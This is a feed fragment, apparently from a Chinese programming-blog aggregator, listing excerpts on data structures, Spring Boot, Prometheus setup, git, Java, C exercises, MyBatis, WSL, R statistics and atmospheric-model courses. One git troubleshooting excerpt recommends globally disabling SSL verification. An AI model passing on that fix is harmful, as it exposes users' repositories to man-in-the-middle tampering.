      <description>目录&#xA;前言&#xA;一、抽象数据类型&#xA;二、线性结构&#xA;1.顺序表&#xA;2.单向链表&#xA;3.循环链表&#xA;4.双向循环链表&#xA;5.栈&#xA;6.队列&#xA;7.双端队列&#xA;三、树&#xA;1.树的基本存储结构&#xA;2.递归&#xA;3.树，二叉树，森林之间的转换&#xA;4.二叉树基础知识&#xA;5.二叉树的遍历&#xA;6.二叉排序树&#xA;7.二叉平衡树（AVL树）&#xA;8.并查集&#xA;9.线索二叉树&#xA;10.哈夫曼树&#xA;四、图&#xA;1.图的基本概念&#xA;2.邻接矩阵&#xA;3.邻接表&#xA;4.十字链表&#xA;5.临接多重表&#xA;6.边集数组&#xA;7.深度优先搜索（DFS）与广度优先搜索（BFS） 总结&#xA;前言 有一种说法是程序是由数据结构和算法组成的，这很能体现出数据结构在编码中的重要性。而代码优化的能力也是区别有基础的程序员和码农的重要标准，所以对于这一块的学习一定要稳重与细致，每一个章节都要实打实敲出能够实现该种结构的代码才算完成。 数据结构的学习本质上是让我们能见到很多前辈在解决一些要求时间和空间的难点问题上设计出的一系列解决方法，我们可以在今后借鉴这些方法，也可以根据这些方法在遇到具体的新问题时提出自己的解决方法。（所以各种定义等字眼就不用过度深究啦，每个人的表达方式不一样而已）在此以下的所有代码都是仅供参考，绝对不是唯一的答案，任何一种操作能达到相同的结果，只要逻辑上能行的通，复杂度上差不多，是无所谓怎么去实现最后的功能的。&#xA;一、抽象数据类型 在一开始学习数据结构的时候不用关注复杂度的问题，等到基础的数据结构学习完之后再去了解复杂度不迟。&#xA;学习数据结构之前先了解什么是抽象数据类型。我们现在认识的数据类型就是一些类似整形字符型等表示数据取值范围的类型，而最初的程序员使用语言的是机器语言，即以0和1存储来实现功能，这样数据没有类型，我们每次在对他进行操作的时候都不清楚这个数据可以做的具体操作方式（是加减乘除还是合并），每次存储的时候也要去找相对于的空间。为了解决这个问题后来的程序员引入了数据类型的概念，这样我们再存储的时候我们就不需要再去寻找存储器的地址了，直接定义变量之后赋值就行。&#xA;抽象数据类型的用途与普通的数据类型类似，他的本质就是一组数学模型，里面存放着这个模型的具体数值和这个模型能做的具体操作。（比如int能实现加减乘除，字符串能实现字符串的拼接）。而他与数据类型的区别就是，数据类型是前人给我们定义好的，而抽象数据类型是我们自己定义的。&#xA;这就可以引出下一章线性表，线性表的属性是什么，操作是什么，他的本质就是一个抽象数据类型。&#xA;二、线性结构 定义：除了第一个和最后一个元素，其他每个元素只有一个前和一个后的结构。&#xA;线性结构又分为两种：顺序表和链表。&#xA;1.顺序表 特性：一组地址连续的存储单元（数组）&#xA;主要用到的操作：增删改查，初始化&#xA;以下是对应的抽象数据类型 ：&#xA;parr 用来存放数据 size 当前顺序表内数据个数 length 顺序表容量&#xA;typedef struct slist { int* parr;//用来存放数据 int size;//当前顺序表内数据个数 int length;//当前顺序表的容量 }slist; ①在最后一位增加&#xA;这个操作非常的简单，只要知道当前的顺序表内元素个数，然后在+1的位置执行插入操作就好了。&#xA;void add_slist(slist* array, int key) { if (array-&amp;gt;size == array-&amp;gt;length)//先判断是否需要空间 { array-&amp;gt;length += UNIT; int* newp = (int*)realloc(array-&amp;gt;parr, sizeof(int) * (array-&amp;gt;length));//第二个数不得等于0 if (!</description>
    </item>
    <item>
      <title>Spring boot锦集(一)：日期格式化的两种方式 | 在Bean对象的日期对象上添加注解 | 对Bean的日期格式统一处理</title>
      <link>https://bchobby.github.io/posts/e13574ab7fa6024af1245ff6335100d4/</link>
      <pubDate>Tue, 01 Nov 2022 10:10:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e13574ab7fa6024af1245ff6335100d4/</guid>
      <description>前言 在日常开发中，日期类是经常使用的，本篇提供两种日期格式的配法，以供不时之需。&#xA;方式一、单独在Bean对象的日期对象上添加注解 该方法省时省力，相当的Nice&#xA;@com.fasterxml.jackson.annotation.JsonFormat(pattern = &#34;yyyy-MM-dd HH:mm:ss&#34;) private Date createTime; 方式二、创建配置类，对Bean的日期格式统一处理 1、代码片段 package com.example.demo.conf; import com.fasterxml.jackson.databind.ObjectMapper; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import java.text.SimpleDateFormat; /** * @create 2022-10-06 12:27 * @describe */ @Configuration public class JacksonConfig { @Bean public ObjectMapper objectMapper() { System.out.println(&#34;日期格式转换，被调用了&#34;);//如果这行代码，在项目启动时没有被控制台打印，说明该配置未生效 ObjectMapper objectMapper = new ObjectMapper(); // 自定义日期转换格式 objectMapper.setDateFormat(new SimpleDateFormat(&#34;yyyy-MM-dd HH:mm:ss&#34;)); return objectMapper; } } 2、注意事项 如果添加该配置类后，配置一直未生效，可以尝试在对应的Controller类上添加@ComponentScan注解。&#xA;package com.example.demo.controller; import com.example.demo.bean.User; import org.springframework.context.annotation.ComponentScan; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.</description>
    </item>
    <item>
      <title>Prometheus &#43; Grafana 在 CentOS 中搭建可视化性能监控平台</title>
      <link>https://bchobby.github.io/posts/6a8b287b3e7533edda1c154e8e8c2118/</link>
      <pubDate>Tue, 01 Nov 2022 09:32:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a8b287b3e7533edda1c154e8e8c2118/</guid>
      <description>我们在做性能测试的时候，经常需要通过各种命令去查看服务器的资源情况，由于关注的内容较多，所以也挺麻烦的。对运维来说，也需要一款工具能随时监控线上服务器的各项指标。&#xA;通过 Prometheus + Grafana 就可以搭建出一套监控平台。&#xA;个人网站 17test.cn 同步更新&#xA;Prometheus Prometheus 是由谷歌研发的一款开源的监控软件。&#xA;Prometheus 是一款基于时序数据库的开源监控告警系统，通过安装在远程机器上的 exporter 收集数据并通过HTTP协议从远程的机器上获取数据，最后存储在本地的时序数据库上。&#xA;Node exporter 是 Prometheus 最常用的一种 exporter，主要负责收集 Linux 的 /proc 以及 /sys 目录下的系统文件获取操作系统运行状态。&#xA;另外还有一些其他的 exporter 分别用来监控不同的应用程序：&#xA;reids exporter：通过Reids命令行获取指标mysql exporter：通过读取数据库监控表获取MySQL的性能数据 这些获取到的监控数据，再通过 Grafana 实现可视化、图形化、图表化的信息展示。&#xA;这样，我们在做性能测试、生产服务器监控的时候，就不用 Linux 命令，而且更直观。&#xA;Prometheus官网&#xA;Grafana官网&#xA;本篇文章演示如何在一台 Centos 服务器上部署 Prometheus。&#xA;部署 Prometheus + Grafana 在 Centos 上部署 Prometheus + Grafana 包含以下 3 个大的步骤：&#xA;安装 Prometheus，并部署成服务安装 Node exporter, 并部署成服务安装 Grafana 安装 Prometheus 创建 Prometheus 用户 $ useradd -m -s /bin/false prometheus 创建配置目录 $ mkdir /etc/prometheus $ mkdir /var/lib/prometheus $ chown prometheus:prometheus /var/lib/prometheus/ 下载最新版的 prometheus 通过 wget 命令下载</description>
    </item>
    <item>
      <title>git修改分支名</title>
      <link>https://bchobby.github.io/posts/66b71c11906f0757d09f1ba53e458812/</link>
      <pubDate>Tue, 01 Nov 2022 09:18:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/66b71c11906f0757d09f1ba53e458812/</guid>
      <description>使用git命令操作 1、修改本地分支名称&#xA;git branch -m oldBranchName newBranchName&#xA;2、将本地分支的远程分支删除&#xA;git push --delete origin oldBranchName&#xA;3、将改名后的本地分支推送到远程，并将本地分支与之关联&#xA;git push --set-upstream origin newBranchName</description>
    </item>
    <item>
      <title>Java:实现简单的计算器(加减乘除)</title>
      <link>https://bchobby.github.io/posts/7d3847f958b0d168c476562cd2bd8f5f/</link>
      <pubDate>Tue, 01 Nov 2022 00:32:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d3847f958b0d168c476562cd2bd8f5f/</guid>
      <description>基本要求：&#xA;1、采用Java Application方式建立应用程序框架&#xA;2、仿照Windows计算器，利用多种布局方式实现界面设计&#xA;3、完成简单的整数加、减、乘、除运算&#xA;简单计算器的界面如下：&#xA;代码：&#xA;import java.awt.BorderLayout; import java.awt.Color; import java.awt.Container; import java.awt.Dimension; import java.awt.Font; import java.awt.GridLayout; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.awt.event.WindowAdapter; import java.awt.event.WindowEvent; import javax.swing.*; public class Gui_Calculator { JFrame jFrame;// JLabel text,text2,text3,text4;//操作数1,运算符,操作数2,结果 JButton b0,b1,b2,b3,b4,b5,b6,b7,b8,b9;//数字 JButton b_add,b_sub,b_mul,b_div;//+,-,*,/ JButton b_del,b_equal;//删除,= JPanel jPanel,jPanel2;//jPanel放操作数1,运算符,操作数2,结果 jPanel2放按钮 Container contentPane;// Font font=new Font(&#34;微软黑体&#34;,Font.PLAIN,25);//设置字体为25磅的普通微软黑体 double outcome=0;//初始化结果为零 public Gui_Calculator() { jFrame=new JFrame(&#34;计算器&#34;); jFrame.setBounds(300, 200, 300, 400);//位置及大小 jFrame.addWindowListener(new WindowAdapter(){//关闭窗口的监听 public void windowClosing(WindowEvent e){ System.out.println(&#34;系统退出！&#34;); System.</description>
    </item>
    <item>
      <title>C语言——分支语句循环语句练习题（10个）</title>
      <link>https://bchobby.github.io/posts/b679f4d4a2b4d7afe3cb7d73f43d9b0d/</link>
      <pubDate>Mon, 31 Oct 2022 22:09:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b679f4d4a2b4d7afe3cb7d73f43d9b0d/</guid>
      <description>在分支语句和循环语句里面，有几个经典的练习题，接下来给大家来分享一下。&#xA;1：周末周内的判断 2：年龄的判断 3：判断是否为奇数 4：计算一个数的阶乘&#xA;5：阶乘相加 6：输出1—100之间的奇数 7：登录验证 8：二分法查找&#xA;9：getchar用于读取多个字符 10：关机程序 接下来开始吧！！！&#xA;1：周末周内的判断 在这个代码里面运用了switch语句，注意break是结束循环的标志。&#xA;#include &amp;lt;stdio.h&amp;gt; int main () { int day = 0; scanf(&#34;%d&#34;,&amp;amp;day); switch (day) { case 1: case 2: case 3: case 4: case 5: printf(&#34;周内\n&#34;); break; case 6: case 7: printf(&#34;周末\n&#34;); break; } return 0; } 2：年龄的判断 在这个代码里面运用了if else if语句。注意他们的用法。&#xA;#include &amp;lt;stdio.h&amp;gt; int main() { int age = 0; scanf(&#34;%d&#34;,&amp;amp;age); if (age &amp;lt; 18) printf(&#34;少年\n&#34;); else if (age &amp;gt;=18 &amp;amp;&amp;amp; age&amp;lt;26) printf(&#34;</description>
    </item>
    <item>
      <title>MyBatis--判断boolean类型实现动态sql--方法/实例</title>
      <link>https://bchobby.github.io/posts/8f89dfe5bef9f22cfd0fb7b965832a67/</link>
      <pubDate>Mon, 31 Oct 2022 18:29:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f89dfe5bef9f22cfd0fb7b965832a67/</guid>
      <description> 原文网址：MyBatis--判断boolean类型实现动态sql--方法/实例_IT利刃出鞘的博客-CSDN博客&#xA;简介 本文介绍MyBatis如何判断boolean类型实现动态sql。&#xA;使用MyBatis时，有时需要使用if标签判断boolean类型，从而决定是否拼接sql（动态查询）。&#xA;代码 mapper&#xA;public interface HouseTypeMapper extends BaseMapper&amp;lt;HouseType&amp;gt; { List&amp;lt;HouseType&amp;gt; queryHouses(@Param(&#34;isCity&#34;) Boolean isCity); } xml &amp;lt;select id=&#34;queryHouses&#34; resultType=&#34;com.xxx.xxx.entity.HouseType&#34;&amp;gt; SELECT * FROM house_type ht WHERE 1 = 1 &amp;lt;if test=&#34;!isCity&#34;&amp;gt; AND ht.covered_area = 5 &amp;lt;/if&amp;gt; &amp;lt;/select&amp;gt; 测试SQL输出 isCity为false时&#xA;SELECT * FROM house_type ht WHERE 1 = 1 AND ht.covered_area = 5 isCity为true时&#xA;SELECT * FROM house_type ht WHERE 1 = 1 </description>
    </item>
    <item>
      <title>Windows11/10 环境下安装Madagascar (WSL Ubuntu)</title>
      <link>https://bchobby.github.io/posts/2b59899d7bdbef881ceb28b01f114ae9/</link>
      <pubDate>Mon, 31 Oct 2022 17:10:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2b59899d7bdbef881ceb28b01f114ae9/</guid>
      <description>目录 前言WSLMadagascar 安装Windows WSL Ubuntu开启开发者模式开启Windows子系统功能安装Ubuntu 进入Ubuntu换源（可选） 安装Madagascar确定你想保存软件源文件、软件安装路径的位置下载安装依赖开始安装配置编译和安装 环境变量配置 写在最后参考文献（网站） 前言 WSL Windows Subsystem for Linux（WSL）是一个可以直接执行Linux二进制可执行文件（ELF）的兼容层。和Hyper-v虚拟化不同，WSL是底层把Linux系统调用翻译成Native Windows API。例如安装Ubuntu子系统，就基本可以当作一个Ubuntu系统来用，例如使用Linux Bash，apt-get安装软件，编译和运行Linux程序，文件系统交互等。&#xA;WSL官方文档（中文）&#xA;在Windows下安装Ubuntu子系统网上教程很多，也没有太大的问题，这里简要介绍一下安装流程。&#xA;Madagascar Madagascar Main Page&#xA;Madagascar is an open-source software package for multidimensional data analysis and reproducible computational experiments. Its mission is to provide:&#xA;a convenient and powerful environmenta convenient technology transfer tool for researchers working with digital image and data processing in geophysics and related fields. Technology developed using the Madagascar project management system is transferred in the form of recorded processing histories, which become “computational recipes” to be verified, exchanged, and modified by users of the system.</description>
    </item>
    <item>
      <title>Python10个好用的集成开发环境介绍</title>
      <link>https://bchobby.github.io/posts/033872b1095e0a5fc369e6f3810e3ead/</link>
      <pubDate>Mon, 31 Oct 2022 14:35:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/033872b1095e0a5fc369e6f3810e3ead/</guid>
      <description>Python IDE工具是每个Python工程师必须使用的开发工具，选择正确的编辑器对Python编程效率的影响是非常大的，因此选择合适的Python开发工具十分重要，以下是通过长期实践发掘的好用的Python IDE，它们功能丰富，性能先进，能够帮助开发人员快速的进行应用程序开发。&#xA;1. Pydev + Eclipse – 最好的免费python IDE&#xA;Pydev的是Python IDE中使用最普遍的，原因很简单，它是免费的，同时还提供很多强大的功能来支持高效的Python编程。Pydev是一个运行在eclipse上的开源插件，它把python带进了eclipse的王国，如果你本来就是是一个eclipse的用户那么Pydev将给你家里一样的感觉。&#xA;Pydev能高居榜首，得益于这些关键功能，包括Django集成、自动代码补全、多语言支持、集成的Python调试、代码分析、代码模板、智能缩进、括号匹配、错误标记、源代码控制集成、代码折叠、UML编辑和查看和单元测试整合等。&#xA;虽然Pydev是最好的开源python IDE，但是 它也和另一个名为Liclipse的产品一起打包，Liclipse是一个商业产品，同样也构建在eclipse上，提供了易用性改进和额外的主题选项。除了python，Pydev也支持Jython and IronPython。&#xA;2. PyCharm – 最好的商业python IDE&#xA;PyCharm是专业的python集成开发环境，有两个版本。一个是免费的社区版本，另一个是面向企业开发者的更先进的专业版本。&#xA;大部分的功能在免费版本中都是可用的，包括智能代码补全、直观的项目导航、错误检查和修复、遵循PEP8规范的代码质量检查、智能重构，图形化的调试器和运行器。它还能与IPython notebook进行集成，并支持Anaconda及其他的科学计算包，比如matplotlib和NumPy。&#xA;PyCharm专业版本支持更多高级的功能，比如远程开发功能、数据库支持以及对web开发框架的支持等。&#xA;3. VIM&#xA;VIM是一个很先进的文本编辑器，在python开发者社区中很受欢迎。它是一个开源软件并遵循GPL协议，所以你可以免费的使用它。&#xA;虽然VIM是最好的文本编辑器，但是它提供的功能不亚于此，经过正确的配置后它可以成为一个全功能的Python开发环境。此外VIM还是一个轻量级的、模块化、快速响应的工具，非常适合那些很牛的程序员——编程从不用鼠标的人。&#xA;初始化配置需要花一定时间，因为你需要安装些VIM的插件，并配置让他们正常工作，最后你会发现这一切都是值得努力的。如果你在寻找一个Linux系统下的python IDE，那么VIM将是你的不二选择。&#xA;4. Wing IDE&#xA;Wing IDE是另外一个商业的、面向专业开发人员的python集成开发环境，可以运行在windows、OS X和Linux系统上，支持最新版本的python，包括stackless Python(python的增强版)。Wing IDE分三个版本：免费的基础版，个人版，以及更强大的专业版。&#xA;调试功能是Wing IDE的一大亮点，包括多线程调试，线程代码调试，自动子进程调试，断点，单步代码调试，代码数据检查等功能，此外还提供了在树莓派上进行远程调试的功能。&#xA;在代码管理方面，Wing IDE能非常灵活的与Git、subversion、perforce、cvs、Bazaar、Mercurial等工具集成。&#xA;此外，Wing IDE也支持其他更多的python框架，比如Maya、MotionBbuilder、Zope、PyQt、PySide、pyGTK、PySide、Django、matplotlib等等。&#xA;5. Spyder Python&#xA;Spyder Python是一个开源的python集成开发环境，非常适合用来进行科学计算方面的python开发。是一个轻量级的软件，是用python开发的，遵循MIT协议，可免费使用。&#xA;Spyder python的基本功能包括多语言编辑器、交互式控制台、文件查看、variable explorer、文件查找、文件管理等。Spyder IDE也可以运行于windows、Mac 或者 Linux系统之上。&#xA;虽然Spyder是一个独立的集成开发环境，能运行在windows、MacOS 、MacOS X、Linux等系统之上。但是它也可以作为PyQT的扩展库，可以嵌入到PyQT的应用中去。&#xA;6. Komodo IDE&#xA;Komodo是Activestate公司开发的一个跨平台的集成开发环境，支持多种语言包括python。它是商用产品，但是提供了开源的免费版本叫Komodo Edit，能够安装在Mac、Windows 和Linux系统上。&#xA;全功能的Komodo对教育机构用户是免费的，老师和教授可以将其应用于实验室及教学中。学生也可以通过较低的费用得到Komodo的授权许可。&#xA;和大多数的专业python IDE一样，Komodo也提供了代码重构，自动补全，调用提示，括号匹配，代码浏览器，代码跳转，图形化调试，多进程调试，多线程调试，断点，代码分析，集成测试单元等功能，并且集成其他的第三方库，比如pyWin32。</description>
    </item>
    <item>
      <title>临床预测模型之综合判别改善指数IDI计算</title>
      <link>https://bchobby.github.io/posts/bba10aec408ca3d13f77c9da39a83abd/</link>
      <pubDate>Mon, 31 Oct 2022 13:22:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bba10aec408ca3d13f77c9da39a83abd/</guid>
      <description>本文首发于公众号：医学和生信笔记，完美观看体验请至公众号查看本文。&#xA;医学和生信笔记，专注R语言在临床医学中的使用，R语言数据分析和可视化。&#xA;IDI，综合判别改善指数，也适用于评价不同模型优劣的，比起NRI，IDI能够从整体角度对模型进行评价，和NRI一起使用效果更佳！&#xA;文章目录 logistic模型的IDI生存资料的IDI logistic模型的IDI 二分类变量的IDI计算使用PredictABEL包。&#xA;使用survival包中的pbc数据集用于演示，这是一份关于原发性硬化性胆管炎的数据，其实是一份用于生存分析的数据，是有时间变量的，但是这里我们用于演示logistic回归，只要不使用time这一列就可以了。&#xA;library(survival) # 只使用部分数据 dat = pbc[1:312,] dat = dat[ dat$time &amp;gt; 2000 | (dat$time &amp;lt; 2000 &amp;amp; dat$status == 2), ] str(dat) # 数据长这样 ## &#39;data.frame&#39;:&#x9;232 obs. of 20 variables: ## $ id : int 1 2 3 4 6 8 9 10 11 12 ... ## $ time : int 400 4500 1012 1925 2503 2466 2400 51 3762 304 .</description>
    </item>
    <item>
      <title>git问题大合集</title>
      <link>https://bchobby.github.io/posts/af0e39a6a80514df42b031d11174674f/</link>
      <pubDate>Mon, 31 Oct 2022 11:27:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/af0e39a6a80514df42b031d11174674f/</guid>
      <description>关于git上次问题大总结 文章目录 关于git上次问题大总结一、OpenSSL SSL_read: Connection was reset, errno 10054二、Proxy CONNECT aborted 一、OpenSSL SSL_read: Connection was reset, errno 10054 问题重现&#xA;解决办法&#xA;git config --global http.sslVerify &#34;false&#34; 如上述不能解决，则使用&#xA;git config --global https.sslVerify &#34;false&#34; 参考博客&#xA;二、Proxy CONNECT aborted 问题重现&#xA;解决办法&#xA;cmd下执行 ipconfig/flushdns项目根目录执行如下： git config --global --unset http.proxy git config --global --unset https.proxy 参考链接</description>
    </item>
    <item>
      <title>大气科学领域必备的模型软件汇总丨WRF、WRF-CMAQ、WRF-Chem、WRF-Hydro、WRF DA、PMF、MCM、CAMx、SMOKE、CMIP6等</title>
      <link>https://bchobby.github.io/posts/b74729f76be0644255c60c07b70a3e55/</link>
      <pubDate>Mon, 31 Oct 2022 11:24:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b74729f76be0644255c60c07b70a3e55/</guid>
      <description>目录&#xA;全套区域高精度地学模拟WRF气象建模、多案例应用与精美制图&#xA;系统学习CMAQ空气质量模式&#xA;空气质量预报模式系统（CMAQ）应用及改进与污染源排放清单建立实践技术&#xA;区域气象-大气化学在线耦合模式（WRFChem）在大气环境领域实践&#xA;气象水文耦合模式WRF-Hydro前处理、运行及实践应用&#xA;WRF DA资料同化系统理论、运行与与变分、混合同化新方法技术应用&#xA;大气颗粒物PMF源解析实践技术应用&#xA;MCM箱模型建模方法及大气O3来源解析实践技术应用&#xA;更多&#xA;全套区域高精度地学模拟WRF气象建模、多案例应用与精美制图 气候是多个领域（生态、水资源、风资源及碳中和等问题）的主要驱动因素，合理认知气候变化有利于解释生态环境变化机理及过程，而了解现在、未来气候变化则是进行生态、环境及能源评估、碳政策规划的先决条件，而气候模拟是获取高精度气候信息的最主要手段，现代生态、水文、新能源及碳中和领域需要亚公里及更高分辨率的气象模拟，WRF模式是国内外应用最为广泛的气象模式，使用该模式进行高精度甚至几百米的模拟应用也越来越多。另一方面，该模式不断扩展模式模块，现在已经可以实现对气溶胶及化学过程（WRF-CHEM）、资料同化（WRF-DA）、水文过程（WRF-HYDRO）、城市化（URBAN）等过程的精细模拟，其应用范围及实际业务及科研应用也越来越多。但该模式运行于Linux平台，前处理、运行及分析过程复杂、难度大。&#xA;【目标】：&#xA;1、掌握WRF模式的各个组成部分；&#xA;2、自主完成该模式的移植；&#xA;3、自主完成模式运行；&#xA;4、自主完成模式后处理；&#xA;5、通过多领域案例分析、实践，熟悉在多领域中的应用。&#xA;【专家】：于老师（副研究员），长期从事气候变化及相关科研工作，拥有十几年使用WRF模式的实际操作经验，在多所高校及科研院所讲授过WRF模式。熟悉从模式安装、运行、解译到模式结果展示的各个方面，特别关注WRF模式在生态、环境、水文、农业林业、城市化、新能源等领域应用推广、模式使用与授课经验。&#xA;区域气候模式 理论知识梳理&#xA;一、WRF模式能干什么？（气温、降水、风、压、能量、水分、植被模拟和预报）&#xA;二、WRF模式框架和流程&#xA;三、WRF使用什么样的计算平台？计算系统？Linux，非windows&#xA;Linux操作系统 WRF模式系统 实际操作&#xA;一、如何安装WRF模式所需要的平台？（vmware,linux）&#xA;二、如何从零开始搭建WRF编译所需的系统？（RockyLinue）&#xA;三、安装软件（OneAPI）&#xA;四、WRF模式结果文件格式？（NetCDF）&#xA;模式调试及运行&#xA;一、WRF如何获取模拟区域的DEM、LUCC、植被、反照率等多种信息&#xA;1.1 WPS如何定义模拟区域？如何准备地形土地利用等资料（geogrid.exe）&#xA;1.2 WPS如何准备气象资料？(温度、气压、风场、湿度等等)&#xA;1.3 WPS如何水平插值？（软件如何匹配不同的空间分辨率资料，如何从百公里到几百米降尺度）&#xA;二、WRF模式如何积分解算气象变量和能量水分传输&#xA;2.1 WRF如何完成等压层向地形追随坐标系的转变&#xA;2.2 WRF模式如何精确计算气象和相关过程&#xA;模式操作及案例实践&#xA;一、案例操作1：软件基本运行流程&#xA;二、案列操作2：研究区设置技巧&#xA;三、案例操作3：软件如何进行天气预报&#xA;四、案例操作4：软件模拟月或年尺度气象&#xA;五、案例操作5：如何模拟分析观测气温&#xA;六、案例操作6：如何模拟分析降水&#xA;七、案例操作7：如何模拟分析水汽和湿度&#xA;八、案例操作8：如何模拟分析土地利用变化的影响&#xA;九、案例操作9：如何模拟分析土壤及近地层能量水分通量&#xA;十、案例操作10：如何模拟分析风场&#xA;十一、案例操作11：如何模拟分析其他变量，包括土壤、水体、植被等相关气象变量&#xA;实际应用及案例分析&#xA;一、WRF模拟结果如何分析？（NCL）&#xA;二、WRF结果如何展示？（Vapor）&#xA;三、WRF结果如何展示？（Python）&#xA;系统学习CMAQ空气质量模式 空气质量预报模式系统（WRF-CMAQ）和污染源处理技术是目前大范围灰霾天气预警及综合治理的重要手段，其在全国的推广应用将有利于提高实际的业务预报水平、增强防灾减灾能力、取得显著的社会经济效益。&#xA;【专家】：程老师（研究员），长期从事空气质量模拟改进科研工作，自主研发了多种污染源反演方法和基于三维变分的气溶胶激光雷达资料同化技术，拥有十几年使用CMAQ模式的实际操作经验，在多所高校讲授过CMAQ模式。熟悉从模式安装、运行、解译到模式结果展示的各个方面，特别关注CMAQ模式在环境、气象等领域应用推广。&#xA;CMAQ模式理论及化学机制&#xA;基本功能&#xA;关键技术解析&#xA;1.国际空气质量模式发展历程和常用模式；&#xA;2.CMAQ模式理论框架和化学机制；</description>
    </item>
    <item>
      <title>idea连接服务器运行python</title>
      <link>https://bchobby.github.io/posts/3e294a75214fd9d4bdae1f8aa74229b3/</link>
      <pubDate>Mon, 31 Oct 2022 11:13:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e294a75214fd9d4bdae1f8aa74229b3/</guid>
      <description>1.在服务器安装python环境，并启动。&#xA;2.which python 命令查看python安装路径（后续会用到）&#xA;3.在IDEA中，选择Tools-&amp;gt;Deployment-&amp;gt;Configuration-&amp;gt;左上角+号，选择SFTP连接&#xA;4.在SFTP连接中，配置Connection信息以及Mapping映射信息&#xA;4.新建一个modul,File-&amp;gt;New0&amp;gt;Modul,选择python-&amp;gt;New(SDK)。选择SSH Interpreter -&amp;gt;Existing server configuration,选择刚刚配置好的STPF连接。&#xA;5.进入到下一步，填入刚刚的python地址，Sync folder就是映射到服务器的文件地址。&#xA;6.到此就创建完毕。直接在modul中新建python文件，在Tools-&amp;gt;Deployment选择Automatic Upload (always),文件保存即可自动上传到服务器，接下来就可以编写代码在服务器上运行~~</description>
    </item>
    <item>
      <title>（附源码）基于Java SpringBoot的电影院管理系统设计与实现 毕业设计 011633</title>
      <link>https://bchobby.github.io/posts/3f867b247bf6da8e541478948679e6b4/</link>
      <pubDate>Mon, 31 Oct 2022 10:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f867b247bf6da8e541478948679e6b4/</guid>
      <description>电影院管理系统的设计与实现&#xA;摘 要&#xA;在飞速发展的今天，网络已成为人们重要的交流平台。电影院每天都有大量的需要通过网络发布，为此，本人开发了一个基于B/S（浏览器/服务器）模式的电影院管理系统。&#xA;该系统以Java编程语言、springboot框架、MySQL数据库和Web前端等为开发技术，实现了添加、修改、查看、删除系统数据。本系统采取组件化的方式对系统进行拆分，并对数据库中各个表的增删查改、表与表之间的约束关系进行分析与设计，最终实现符合用户需求功能的商业级应用。&#xA;系统界面简洁大方，布局合理，易操作易上手。对应用户的每一步操作，系统都能高响应地做出反馈。系统具体包含对用户的管理、用户注册、最新电影、电影分类管理、场次管理、电影、订单中心管理、取消订单管理等功能，为电影院提供一个管理平台，实现对数据地高效、安全地管理。&#xA;关键词：电影院管理，B/S模式，Java编程语言，MySQL&#xA;Design and Implementation of Cinema Management System&#xA;Abstract&#xA;Today, with the rapid development of information, the network has become an important information exchange platform for people. Every day, a large amount of information in cinemas needs to be published through the Internet. Therefore, I developed a cinema information management system based on B/S (browser/server) mode.&#xA;The system uses Java programming language, springboot framework, MySQL database and Web front-end as development technologies, and realizes adding, modifying, viewing and deleting system data.</description>
    </item>
    <item>
      <title>Vue引用public中的js文件</title>
      <link>https://bchobby.github.io/posts/2d21591c270ec727fd03f9c20351a62a/</link>
      <pubDate>Sun, 30 Oct 2022 20:31:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2d21591c270ec727fd03f9c20351a62a/</guid>
      <description> 在public文件夹下创建config.js文件。&#xA;config.js中可以使用变量，也可以使用window来挂载&#xA;测试：&#xA;注意：&#xA;index.html在引入config.js时，config.js前面一定要加上/ ，否则子路由菜单刷新会报错，提示找不到js文件如果引入config.js后，在template模板中使用config对象发现报错，那么可以在mounted中打印一下（应该可以打印出来），并赋值给data中的某个属性 </description>
    </item>
    <item>
      <title>Kitti Stereo dataset 2015</title>
      <link>https://bchobby.github.io/posts/3c9e6844746e166a213eabb0b1c60b04/</link>
      <pubDate>Sun, 30 Oct 2022 19:30:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c9e6844746e166a213eabb0b1c60b04/</guid>
      <description>发现国内很多人分享kitti目标检测数据集，但少有分享立体匹配数据集的朋友。所以特做此分享。下载链接：&#xA;2015：https://s3.eu-central-1.amazonaws.com/avg-kitti/data_scene_flow.zip&#xA;下载的时候可以直接复制链接进迅雷，这样虽然下载速度慢一点但是免费呀。如果自己可以科学上网的话，科学上网的下载速度还是比较快的。&#xA;有百度网盘会员的朋友也可以去网盘链接下载：&#xA;链接：https://pan.baidu.com/s/1yNItFX-Ly_lSqI_a9SaZJg 提取码：tjjb</description>
    </item>
    <item>
      <title>UVM实战笔记（五）</title>
      <link>https://bchobby.github.io/posts/5d605347085cf6f2d99ef51dab37313c/</link>
      <pubDate>Sun, 30 Oct 2022 17:24:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d605347085cf6f2d99ef51dab37313c/</guid>
      <description>第五章. UVM验证平台的运行 5.1 phase机制 5.1.1 task phase和function phase&#xA;UVM中的phase按是否消耗仿真时间（$time打印出的时间），分为两类：&#xA;function phase：不消耗仿真时间，通过函数来实现task phase：消耗仿真时间，通过任务来实现 下图中灰色背景的是task phase，其他的为function phase。所有phase都会按照图中的顺序自上而下自动执行（从整个验证平台来看）。&#xA;对于function phase来说，同一时间只有一个phase执行；对于task phase来说，run_phase和pre_reset_phase等12个小的phase并行运行。这12个小的phase称为动态运行（run-time）的phase。&#xA;UVM提供了这么多的phase，目的是方便验证人员将不同的代码写在不同的phase内，有利于其他验证方法学向UVM迁移。在一般的应用中，不会将function phase和task phase全部用上。使用频率最高的是build_phase，connect_phase和main_phase。&#xA;5.1.2 动态运行phase&#xA;动态运行（run-time）phase是UVM1.0引入的新phase，其他phase是在UVM1.0之前就已存在的。12个run_time 